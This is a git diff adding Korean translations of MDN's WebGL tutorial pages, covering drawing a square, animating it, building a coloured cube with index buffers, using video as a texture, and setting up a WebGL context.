이 예제에서는 장면(scene)의 기본적인 속성만을 보여주기 위해, 루틴이 다소 지나치게 단순화되어있습니다. 정점들을 저장할 버퍼를 얻기 위해 gl 객체의 createBuffer() 메서드를 호출하는 것으로 시작합니다. 그 다음 bindBuffer() 메서드를 불러와 컨텍스트에 연결합니다.

+ +

이 과정이 끝난 뒤 사각형의 각 정점 좌표를 담고있는 자바스크립트 배열을 생성합니다. 그런 다음 배열을 WebGL floats 배열로 변환한 뒤 gl객체의 bufferData() 메서드로 전달해 객체의 정점을 설정합니다.

+ +

장면(Scene) 그리기

+ +

쉐이더가 설정되고 객체가 생성되면 실제로 장면을 렌더링 할 수 있습니다. 이 예제에서 어떠한 애니메이팅도 안 할 것이기 떄문에 drawScene()함수는 매우 간단합니다. 이는 우리가 곧 다룰 몇 가지 유용한 루틴만 사용합니다?.

+ +
function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+
+ +

첫번째 과정은 배경색에 컨텍스트를 clear하는 것입니다. 그 다음 카메라의 원근을 설정합니다. 시점을 45°로, 종횡비를 640/480(캔버스의 크기)로 설정합니다. 또한 카메라로부터  0.1에서 100단위 사이에 있는 오브젝트만 렌더링하도록 정합니다.

+ +

그런 다음 identity(항등) position을 불러오고 카메라에서 6단위 만큼 translate(변환)하여 사각형의 위치를 정합니다 . 그 다음 사각형 정점 버퍼를 컨텍스트에 연결해 구성한 뒤 drawArrays() 메서드를 불러와 객체를 그립니다. 

+ +

브라우저가 웹GL을 지원한다면 다음 링크에서 확인 할 수 있습니다.  try out this demo by clicking here

+ +

행렬 유틸리티를 이용한 연산

+ +

행렬 연산은 꽤 복잡합니다. 행렬을 다루기 위한 코드를 직접 작성하고 싶은 사람은 아무도 없을 것입니다. 다행히도 벡터와 행렬 연산을 자바스크립트에서 다루는 데 아주 편리한 라이브러리인 Sylvester가 있습니다.

+ +

이 데모에서 사용한glUtils.js 파일은 웹에 떠돌아 다니는 많은 WebGL 데모에서 사용하고 있습니다. 이 파일이 어디서 나온 것인지 명확히 아는 사람은 아무도 없는것 같습니다만, HTML 로 출력하기 위한 메소드 뿐만 아니라 특별한 형태의 행렬을 만들기 위한 메소드를 추가되어 있어   Sylvester를 보다 정말 단순화 시켜놓았습니다.

+ +

게다가 이 데모는 특정 작업을 위한 라이브러리를 이용할 때 도움될만한 몇가지 루틴을 정의하고 있습니다.  정확히 이것들이 어떤 일을 하는 것인지는 이 데모에서 다룰 범위는 아닙니다. 하지만 온라인에서 참고할만 한 좋은 레퍼런스가 많이 있습니다. 아래 {{ anch("See also") }} 섹션에 그 중 몇 개를 소개하고 있습니다.

+ +
function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+
+ +

See also

+ + + +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html new file mode 100644 index 0000000000..c8dfcc893d --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -0,0 +1,125 @@ +--- +title: WebGL을 사용한 객체 애니메이션 +slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +tags: + - WebGL + - 애니메이션 + - 회전 +translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

앞 단원에서의 예제 코드는 정지되어 있는 것처럼 보이지만 사실은 15밀리초마다 한 번 씩 WebGL 장면(Scene)을 다시 그리도록 설정되어 있습니다. 그려질 객체의 상태가 계속 똑같기 때문에, 똑같은 객체를 15밀리초마다 계속 다시 그리고 있는 것입니다. 이제 우리가 그린 정사각형을 실제로 움직이게 만들어 보겠습니다.

+ +

이번 예제에서는 2차원 정사각형을 3차원으로 회전시키고 이동시켜 보겠습니다. 3차원을 이루는 X, Y, Z축 방향 모두를 중심으로 회전시켜 보면, 우리가 그린 것은 2차원 정사각형이지만 3차원 공간 안에 존재한다는 것을 실감할 수 있을 것 입니다.

+ +

정사각형 회전시키기

+ +

먼저 정사각형을 회전시켜 보겠습니다. 회전 시키려면 회전 상태(회전량)를 저장할 변수가 필요합니다:

+ +
var squareRotation = 0.0;
+
+ +

이제 정사각형을 그릴 때 회전을 반영하도록 drawScene() 함수를 수정해야 합니다. 정사각형을 처음에 그려질 위치로 이동시키고 나서 다음과 같이 회전을 적용합니다:

+ +
mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+
+ +

현재 상태의 모델-뷰 행렬을 저장하고, X축과 Z축을 기준으로 squareRotation 만큼 행렬을 회전시킵니다.

+ +

정사각형을 그리고 난 후에 모델-뷰 행렬을 원상태로 복구합니다:

+ +
mvPopMatrix();
+
+ +

모델-뷰 행렬을 복구하는 이유는 이 회전이 다른 객체에 영향을 미치는 것을 예방하기 위해서 입니다.

+ +

실제로 애니메이션 효과가 나타나도록 하려면 squareRotation 값을 시간이 지남에 따라 계속 변경해주는 코드를 추가해야 합니다. lastSquareUpdateTime이라는 변수에 마지막으로 다시 그렸던 시각을 저장하고, 다음과 같은 코드를 drawScene()에 추가합니다: 

+ +
var currentTime = (new Date).getTime();
+if (lastSquareUpdateTime) {
+  var delta = currentTime - lastSquareUpdateTime;
+
+  squareRotation += (30 * delta) / 1000.0;
+}
+
+lastSquareUpdateTime = currentTime;
+
+ +

이 코드는 마지막으로 squareRotation의 값을 변경한 시각과 현재 시각과의 차이를 이용해서 회전량을 나타내는 squareRotation의 값을 결정 합니다.

+ +

정사각형 이동시키기

+ +

정사각형을 그리기 전에 위치값을 변경하면 정사각형을 이동시킬 수 있습니다. 이번 예제에서는 학습을 목적으로 아주 기초적인 애니메이션을 구현해봅니다. 실전에서 이런 식으로 애니메이션을 구현하면 사람들에게 사랑받지 못할 것입니다.

+ +

X, Y, Z 각 축별 오프셋(offset) 값을 새 변수에 저장합니다:

+ +
var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+
+ +

축 별 위치 변동값을 다음과 같이 각기 다른 값으로 지정합니다:

+ +
var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+
+ +

이제 위치 변동값을 계산하는 코드를 위에서 구현한 회전량 계산 코드 바로 아래에 추가합니다:

+ +
squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+if (Math.abs(squareYOffset) > 2.5) {
+  xIncValue = -xIncValue;
+  yIncValue = -yIncValue;
+  zIncValue = -zIncValue;
+}
+
+ +

마지막으로 다음 코드를 drawScene() 함수에 추가합니다:

+ +
mvTranslate([squareXOffset, squareYOffset, squareZOffset]);
+ +

이제 정사각형이 화면에서 좌, 우, 위, 아래, 앞, 뒤로 완전히 자기멋대로 움직이면서 회전하는 것을 볼 수 있습니다. 어찌보면 바탕화면 보호기 같기도 합니다.

+ +

WebGL이 지원되는 브라우저라면, 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

추가적인 행렬 연산

+ +

아래의 예제는 스택을 사용하는 두 개의 push, pop 루틴과, 주어진 각도만큼 회전시키는 행렬을 포함하는 몇 가지 추가적인 행렬 연산을 사용합니다. 한 번 참고하시기 바랍니다:

+ +
var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+
+ +

이 루틴은 예전에 Vlad Vukićević가 작성했던 예제를 참고하여 만들었습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

diff --git a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html new file mode 100644 index 0000000000..723c1318ab --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html @@ -0,0 +1,117 @@ +--- +title: WebGL에서의 텍스쳐 애니메이션 +slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +tags: + - Animation + - HTML5 + - Texture + - Video + - WebGL + - 애니메이션 + - 웹지엘 + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

앞 단원에서는 정적인 텍스쳐를 사용한 예제를 만들어 봤었는데, 이번에는 Ogg 비디오 파일을 이용해서 텍스쳐에 애니메이션 효과를 적용해 보겠습니다. 사실 만들기 상당히 쉽지만, 그래도 보는 재미는 쏠쏠하니까 한 번 만들어 보겠습니다. 텍스쳐를 구성할 소스로 어떤 종류의 데이터(예를 들면 {{ HTMLElement("canvas") }}와 같은)를 쓰더라도 코드는 비슷할 것입니다.

+ +

텍스쳐를 구성할 비디오 로딩

+ +

가장 먼저 할 일은 비디오 프레임을 조회하는데 사용할 {{ HTMLElement("video") }} 요소를 생성하는 것입니다:

+ +
<video id="video">
+  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+</video>
+
+ +
+

역자 주 : 실제 예제 소스 코드를 보면 비디오 태그가 위와 같이 id 속성만 있는 것이 아니라 아래와 같이 src 속성과 autoplay 속성도 추가되어 있습니다.

+ +
<video id="video" src="Firefox.ogv" autoplay>
+  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+</video>
+
+
+ +

위 코드는 'Firefox.ogv" 비디오 파일을 재생할 {{ HTMLElement("video") }} 요소를 생성합니다. 다음과 같은 CSS 코드를 작성해서 비디오가 자동으로 표시되지 않도록 합니다:

+ +
video {
+  display: none;
+}
+
+ +

이제 자바스크립트 코드를 살펴보겠습니다. start() 함수에 비디오 요소에 대한 참조를 가져오는 코드를 추가합니다:

+ +
videoElement = document.getElementById("video");
+
+ +

setInterval()을 이용해서 drawScene()을 주기적으로 호출하던 코드를 아래의 코드로 대체합니다:

+ +
videoElement.addEventListener("canplaythrough", startVideo, true);
+videoElement.addEventListener("ended", videoDone, true);
+
+ +

비디오 요소의 src 속성으로 비디오 파일의 위치를 지정해서 비디오 로딩을 시작합니다. FIXME (이 글의 작성자의 한 사람인 bjacob에게) : preload="auto"를 여기에서 명시하지 않으면 파이어폭스에서는 canplaythrough 이벤트가 발생되지 않음. 크롬에서는 preload="auto" 지정 여부와 관계없이 비디오 로딩 시작.

+ +
+

역자 주 : 예제에 보면 아래와 같이 자바스크립트에서 preload나 src를 명시하지 않고, 위의 역자 주에 있는 것처럼 비디오 태그 내에 속성값으로 기술하고 있으므로, 바로 위 문단과 아래의 코드는 무시해도 좋을 것 같습니다.

+
+ +
video.preload = "auto";
+videoElement.src = "Firefox.ogv";
+ +

비디오 재생 시 끊김이 없도록 충분히 버퍼링 해둔 후에 애니메이션을 시작하는 것이 좋습니다. 전체 비디오가 끊김 없이 재생될 수 있을만큼 충분한 데이터가 버퍼링 된 후에 비디오의 재생이 시작되도록 아래와 같이 canplaythrough 이벤트에 대한 리스너인 startVideo()를 추가합니다:

+ +
function startVideo() {
+  videoElement.play();
+  intervalID = setInterval(drawScene, 15);
+}
+
+ +

위 코드는 단순히 비디오 재생을 시작하고, 정육면체의 렌더링을 처리하는 drawScene() 함수를 setInterval() 함수를 이용해서 주기적으로 호출합니다.

+ +

비디오가 끝날 때 방생하는 ended 이벤트에 대한 리스너도 추가해서, 비디오 재생이 끝나면 불필요하게 CPU 시간을 잡아먹지 않도록 애니메이션을 중단시킵니다.

+ +
function videoDone() {
+  clearInterval(intervalID);
+}
+ +

videoDone() 함수는 단순히 {{ domxref("window.clearInterval()") }} 함수를 호출해서 애니메이션을 업데이트하는 drawScene() 함수의 호출을 중단시킵니다.

+ +

비디오 프레임을 텍스쳐로 사용하기

+ +

비디오 로딩과 재생에 대한 처리를 마치면, initTexture() 함수의 내용을 변경해야 합니다. 이번에는 이미지를 로딩하는 대신 비어있는 텍스쳐 객체를 생성하고, 텍스쳐 객체를 나중에 사용할 수 있도록 필터링을 설정하기만 하면 되므로, initTexture() 함수의 내용이 앞 단원의 예제보다 조금 더 간단해집니다: 

+ +
function initTextures() {
+  cubeTexture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+}
+
+ +

가장 중요한 텍스쳐의 업데이트를 담당하는 updateTexture() 함수는 다음과 같습니다:

+ +
function updateTexture() {
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, videoElement);
+}
+
+ +

위와 같은 코드를 전에 본 적이 있을 것입니다. texImage2D()를 호출할 때 Image 객체를 전달하지 않고 {{ HTMLElement("video") }} 요소를 전달한다는 것만 제외하면, 앞 단원에서 사용했던 handleTextureLoaded() 루틴과 거의 똑같습니다. 현재의 프레임을 추출해서 텍스쳐로 사용하는 것은 WebGL이 알아서 처리합니다.

+ +

drawScene() 함수에는 맨 앞에 updateTexture()를 추가합니다. drawScene() 함수에 의해 장면을 다시 그릴 때마다 updateTexture()이 호출됩니다.

+ +

이제 완성입니다! WebGL을 지원하는 브라우저라면 여기에서 실제 작동하는 예제를 확인할 수 있습니다.

+ +

참고 자료

+ + + +

{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html new file mode 100644 index 0000000000..e4d3cf991f --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -0,0 +1,132 @@ +--- +title: WebGL로 3D 객체 만들기 +slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +tags: + - 3D + - 3차원 + - WebGL + - 입체 +translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

+ +

이제 우리가 만든 정사각형에 5개의 면을 더해서 3차원 정육면체를 만들어 보겠습니다. 이 작업을 조금 더 효율적으로 하기 위해서 drawArray() 메서드를 호출해서 정점을 직접 핸들링하는 대신에, 정점 배열을 인덱스와 값으로 정의된 테이블이라고 생각하고, 각 정점을 인덱스로 참조해서 정육면체 각 면의 정점 위치를 정의하고 gl.drawElements()를 호출해서 그려보겠습니다.

+ +

고려 사항 : 정육면체의 각 면은 4개의 정점이 필요하고, 정육면체에는 6개의 면이 있으므로 총 24개의 정점이 필요할 것 같지만, 하나의 정점이 세 개의 면에 공통적으로 사용되므로 실제로는 8개의 정점만 있으면 됩니다. 그리고 이 8개의 정점 각각에 인덱스 번호를 매겨서 참조하면 한 개의 정점을 세 개의 면에 재사용할 수 있습니다. 하지만 이번 예제에서는 8개가 아니라 24개의 정점을 사용하는데, 그 이유는 한 꼭지점에서 만나는 세 개의 면마다 다른 색상을 적용할 것이기 때문입니다. 하나의 정점은 한 개의 색상만을 가질 수 있으므로, 세 개의 색상을 표시하려면 세 개의 정점이 필요합니다. 따라서 기하학적으로는 하나의 꼭지점일지라도 세 개의 색상을 표시하기 위해서는 세 개의 정점이 필요 합니다.

+ +

정육면체의 정점 위치 정의

+ +

먼저 initBuffers() 내부에 있는 코드를 수정해서 정육면체의 정점 버퍼를 만듭니다. 방식은 정사각형을 그릴 때와 거의 비슷하지만, 정점의 수는 하나의 면에 4개 씩, 총 24개로 정사각형보다 더 많습니다:

+ +
var vertices = [
+  // 앞면(Front face)
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // 뒤면(Back face)
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // 위면(Top face)
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // 아래면(Bottom face)
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // 오른쪽면(Right face)
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // 왼쪽면(Left face)
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+
+ +

정점의 색상 정의

+ +

24개 정점의 색상 배열도 만들어야 합니다. 각 면의 색상을 하나의 배열로 정의하고, 반복문을 돌면서 모든 정점의 색상 정보를 하나의 배열로 만듭니다.

+ +
var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // 앞면 : 흰색
+  [1.0,  0.0,  0.0,  1.0],    // 뒤면 : 빨간색
+  [0.0,  1.0,  0.0,  1.0],    // 위면 : 녹색
+  [0.0,  0.0,  1.0,  1.0],    // 아래면 : 파란색
+  [1.0,  1.0,  0.0,  1.0],    // 오른쪽면 : 노란색
+  [1.0,  0.0,  1.0,  1.0]     // 왼쪽면 : 보라색
+];
+
+var generatedColors = [];
+
+for (j=0; j<6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i<4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+
+ +

인덱스 배열 정의

+ +

정점 배열을 만들었으면 인덱스 배열(원문 : element array)을 만들어야 합니다.

+ +
cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// 인덱스 배열은 하나의 면을 두 개의 삼각형으로 정의합니다.
+// 인덱스 배열의 원소인 각 숫자는 정점 배열에서 한 정점의 위치를 나타냅니다.
+// 즉, 아래의 인덱스 배열에서의 0, 1, 2,   0, 2, 3은
+// 정점 배열에서 0, 1, 2번째의 정점으로 이루어진 삼각형과
+// 0, 2, 3번째 정점으로 이루어진 삼각형 두 개로
+// 하나의 면을 나타낸다는 의미입니다.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// 인덱스 배열을 GL에 전달
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+
+ +

cubeVertexIndices 배열은 정육면체 정점 배열의 인덱스값을 원소로 가지며, 각 인덱스 값에 해당하는 정점을 순서대로 세 개씩 묶어서 하나의 삼각형을 구성하고, 삼각형 두 개를 순서대로 묶어서 하나의 면으로 정의합니다. 따라서 6개의 면을 가진 정육면체는 12개의 삼각형의 조합으로 표현할 수 있습니다.

+ +

정육면체 그리기

+ +

다음 단계로 정육면체의 인덱스 버퍼를 이용해서 정육면체를 그릴 수 있도록 drawScene() 함수 내부에 코드를 추가 합니다. 인덱스 버퍼를 사용하기 위한 bindBuffer()와 정육면체를 그리기 위한 drawElements() 호출문을 추가합니다:

+ +
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+ +

정육면체의 각 면이 두 개의 삼각형으로 이루어져 있으므로, 한 면에는 6개의 정점이 있으며, 정육면체 전체로는 총 36개의 정점이 존재합니다. 정점 배열에는 24개의 정점이 있었으므로 36개의 정점을 구성하려면 하나의 정점이 여러번 중복되어 사용 되었을 것 입니다. 비효율적이라고 생각될 수도 있지만, 인덱스 배열은 처리가 단순한 정수형 데이터로만 구성되어 있으므로, 36개의 정수형 배열이 하나의 애니메이션 프레임에서 처리하기에 지나치게 많은 수준의 데이터는 아닙니다.

+ +

이제 지금까지 만든 정육면체를 확인 해 보겠습니다. WebGL을 지원하는 브라우저에서는 여기에서 6개의 면이 원색으로 채색된 정육면체를 볼 수 있습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html new file mode 100644 index 0000000000..95fcd36346 --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -0,0 +1,100 @@ +--- +title: Getting started with WebGL +slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

+ +

WebGL은 플러그인을 사용하지 않고 OpenGL ES 2.0 기반 API를 이용하여 브라우저의 HTML canvas에 렌더링하여 3D 웹 콘텐츠 제작을 가능하게 합니다. WebGL 프로그램은 컴퓨터의 그래픽 처리 장치(GPU)에서 실행되는 자바스크립트나 특수 효과(셰이더 코드)코드로 구성됩니다. WebGL 요소들은 다른 HTML 요소들과 혼합될 수 있고 페이지나 페이지 배경의 다른 부분과 합성될 수 있습니다.

+ +

이 문서는 기본 WebGL 기본 사항을 소개합니다. 이 문서에서는 3D 그래픽에 관련된 수학적 이해를 이미 이해하고 있다고 간주하고 OpenGL 자체에 대하여 설명하지 않을 것입니다.

+ +

3D 렌더링 준비

+ +

WebGL을 사용하여 3D 렌더링을 하는 데 첫 번째로 필요한 것은 캔버스입니다. 아래 HTML 코드는 canvas를 만들고 사용할 WebGL 컨텍스트를 초기화하는 onload 이벤트 핸들러를 지정합니다.

+ +
<body onload="start()">
+  <canvas id="glcanvas" width="640" height="480">
+    Your browser doesn't appear to support the HTML5 <code>&lt;canvas&gt;</code> element.
+  </canvas>
+</body>
+ +

WebGL 컨텍스트 준비

+ +

자바스크립트 코드에서 start() 함수는 문서가 다 불러와지면 호출됩니다. 이 함수의 기능은 WebGL 컨텍스트를 설정하고 콘텐츠 렌더링을 시작하는 것입니다.

+ +
var gl; // A global variable for the WebGL context
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // Initialize the GL context
+
+  // Only continue if WebGL is available and working
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // Set clear color to black, fully opaque
+    gl.enable(gl.DEPTH_TEST);                               // Enable depth testing
+    gl.depthFunc(gl.LEQUAL);                                // Near things obscure far things
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // Clear the color as well as the depth buffer.
+  }
+} 
+ +

첫 번째 할 일은 canvas에 대한 참조를 얻는 것 입니다. canvas라는 변수에 지정합니다. 당연히 canvas를 반복적으로 참조할 필요는 없고 전역 변수로 저장하는 것은 피해야 합니다. 지역 변수나 객체의 필드 멤버로 참조해야 됩니다.

+ +

캔버스가 있으면 initWebGL()이라는 함수를 호출할 수 있습니다. 이 함수는 일시적으로 정의되고 WebGL 컨텍스트를 초기화하는 일을 합니다.

+ +

만약 컨텍스트가 성공적으로 초기화 되면 gl은 이를 참조합니다. 이번 예제에서는 검은색 투명 색상을 설정하면 컨텍스트를 그 색상으로 지정합니다. 그 다음 컨텍스트는 설정 매개변수로 설정됩니다. 예제에서는 깊이 테스트가 가능하고 가까운 물체가 멀리 떨어저 있는 물체를 가리는 것을 지정합니다.

+ +

코드에서 초기화를 전달하는 목적은 우리가 하려는 것 전부 입니다. 잠시 후 실제로 무언가를 어떻게 시작하는가 알아볼 것입니다.

+ +

WebGL 컨텍스트 생성

+ +

initWebGL() 함수는 다음과 같습니다.

+ +
function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Try to grab the standard context. If it fails, fallback to experimental.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // If we don't have a GL context, give up now
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+ +

캔버스에서 WebGL 컨텍스트를 얻기 위해 canvas로 "webgl"이라고 불리는 컨텍스트를 요청할 것입니다. 만약에 실패한다면 "experimental-webgl"이라는 이름으로 시도할 것입니다. 만약 이마저도 실패한다면 사용자에게 사용 중인 브라우저가 WebGL을 지원하지 않는다는 경고를 출력할 것입니다. 이게 전부입니다. 이 시점에서 gl은 null(WebGL 컨텍스트를 이용할 수 없다는 의미)이거나 렌더링할 WebGL 컨텍스트를 참조할 것입니다.

+ +
Note: experimental-webgl이라는 이름은 사양 개발 시 사용되는 컨텍스트를 위한 일시적인 이름입니다. webgl은 사양이 확정되면 사용됩니다.
+ +

이 시점에서 이 코드는 WebGL 컨텍스트가 성공적으로 초기화하는 데 충분한 코드입니다. 이 코드를 통해 검정 박스 형태의 빈 공간이 형성되며, 여기에 콘텐츠를 생성할 기본 준비가 되었습니다.

+ +

여기를 클릭하여 예제를 확인하세요. 브라우저가 WebGL을 호환한다면 실행될 것 입니다.

+ +

WebGL 컨텍스트 크기 조정

+ +

이제 새로운 WebGL 컨텍스트는 새로운 컨텍스트 인스턴스를 얻었습니다. 그리고 CSS 없이 캔버스 요소의 height와 width로 뷰포트의 해상도를 설정합니다. 캔버스 요소의 스타일 편집하면 출력되는 크기를 변경될 것이지만 렌더링 해상도는 변경되지 않습니다. 또한 컨텍스트가 생성된 후 캔버스 요소의 width와 height 속성을 편집하면 그려지는 픽셀 수를 변경할 수 없습니다. WebGL 렌더의 해상도를 변경하려면 사용자가 캔버스 문서 전체 창 크기를 조정하거나 앱에서 그래픽 설정을 조정할 수 있게 하길 원할 것입니다. WebGL 컨텍스트 viewport() 함수가 변경할 수있는 것으로 알려져 있습니다.

+ +

렌더링된 WebGL 컨텍스트의 해상도를 수정하려면 위에 나오는 gl과 canvas 변수를 사용해야 됩니다.

+ +
gl.viewport(0, 0, canvas.width, canvas.height);
+ +

캔버스는 CSS 스타일과 다른 해상도로 렌더링되어질 때 화면에서 차지하는 크기를 볼 것입니다. CSS로 크기를 조정하면 낮은 해상도에서 렌더링하거나 브라우저 화면을 확대할 때 자원을 절약하는 데 유용합니다. 축소는 슈퍼샘플 안티에일리어싱(SSAA) 효과를 사용할 때 가능합니다. (많은 성능 비용이 발생하고 작은 결과이기는 하지만) 아래에 참고 사항을 살펴보는 것이 가장 좋습니다.

+ + + +

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

